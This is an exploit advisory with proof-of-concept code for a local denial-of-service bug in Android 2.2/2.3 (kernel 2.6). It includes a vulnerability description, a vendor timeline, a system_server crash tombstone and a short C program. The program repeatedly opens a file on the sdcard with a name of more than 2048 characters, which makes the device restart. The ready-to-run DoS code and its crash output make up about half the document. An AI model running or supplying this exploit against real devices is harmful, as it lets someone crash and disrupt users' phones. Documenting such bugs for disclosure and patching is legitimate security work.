Android Kernel 2.6 Local DoS Crash PoC

 

# Exploit Title: Android Kernel 2.6 Local DoS

# Date: 12/7/12

# Author: G13

# Twitter: @g13net

# Versions: Android 2.2, 2.3

# Category: DoS (android)

#

 

##### Vulnerability #####

 

The Android OS is vulnerable to a local DoS when a filename with a

length of 2048

or larger is attempted to be written to the sdcard(vfat fs) multiple times.

 

The result of successful running of the exploit code is the system restarting.

 

The vulnerability only effects Android kernels that are in the version

2.6 family.

 

##### Vendor Timeline #####

 

The Android Security Team has been contacted with updated PoC code and

details.

 

They have been aware of this vulnerability for over a year.

 

##### Tombstone #####

 

*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***

Build fingerprint:

'verizon/SCH-I800/SCH-I800:2.3.4/GINGERBREAD/EF01:user/release-keys'

pid: 349, tid: 363, name: SensorService  >>> system_server <<<

signal 8 (SIGFPE), code -6 (?), fault addr 0000015d

    r0 00000000  r1 00000008  r2 00000040  r3 00000000

    r4 2a114310  r5 00000000  r6 51504690  r7 00000025

    r8 2a114330  r9 2a114350  sl 00000003  fp 00000003

    ip fffd4084  sp 51501eb0  lr 40039b70  pc 40037cf0  cpsr 20030010

    d0  4271bc7bd0b80000  d1  0000000000000000

    d2  0000000000000000  d3  427181eae9200000

    d4  0000000000000000  d5  0000000000000000

    d6  0000000000000000  d7  0000000000000000

    d8  0000000000000000  d9  0000000000000000

    d10 0000000000000000  d11 0000000000000000

    d12 0000000000000000  d13 0000000000000000

    d14 0000000000000000  d15 0000000000000000

    d16 3fe99999a0000000  d17 3fe999999999999a

    d18 0033003200310030  d19 0000000000000000

    d20 3fc554e7eb0eb47c  d21 3e66376972bea4d0

    d22 3f4de16b9c24a98f  d23 3fb0f4a31edab38b

    d24 3fede16b9c24a98f  d25 3fe55559ee5e69f9

    d26 0000000000000000  d27 0000000000000000

    d28 0000000000000005  d29 0000000000000000

    d30 0000000000000000  d31 0000000000000000

    scr 20000010

 

backtrace:

    #00  pc 0000dcf0  /system/lib/libc.so (kill+12)

    #01  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)

    #02  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)

    #03  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)

    #04  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)

    #05  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)

    #06  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)

    #07  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)

    #08  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)

    #09  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)

    #10  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)

    #11  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)

    #12  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)

    #13  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)

    #14  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)

    #15  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)

    #16  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)

 

    ##### PoC #####

 

    #include <stdio.h>

 

   int main(int argc, char** argv) {

    char buf[5000];

    int j,k;

   FILE *fp;

   /* Path to sdcard, typically /sdcard/ */

   strcpy(buf,"/sdcard/");

   for(k=0;k<=2048;k++){

    strcat(buf,"A");

   };

    for(j=0;j<=50;j++){

    fp=fopen(buf,"w");

   };

   return 0;

  }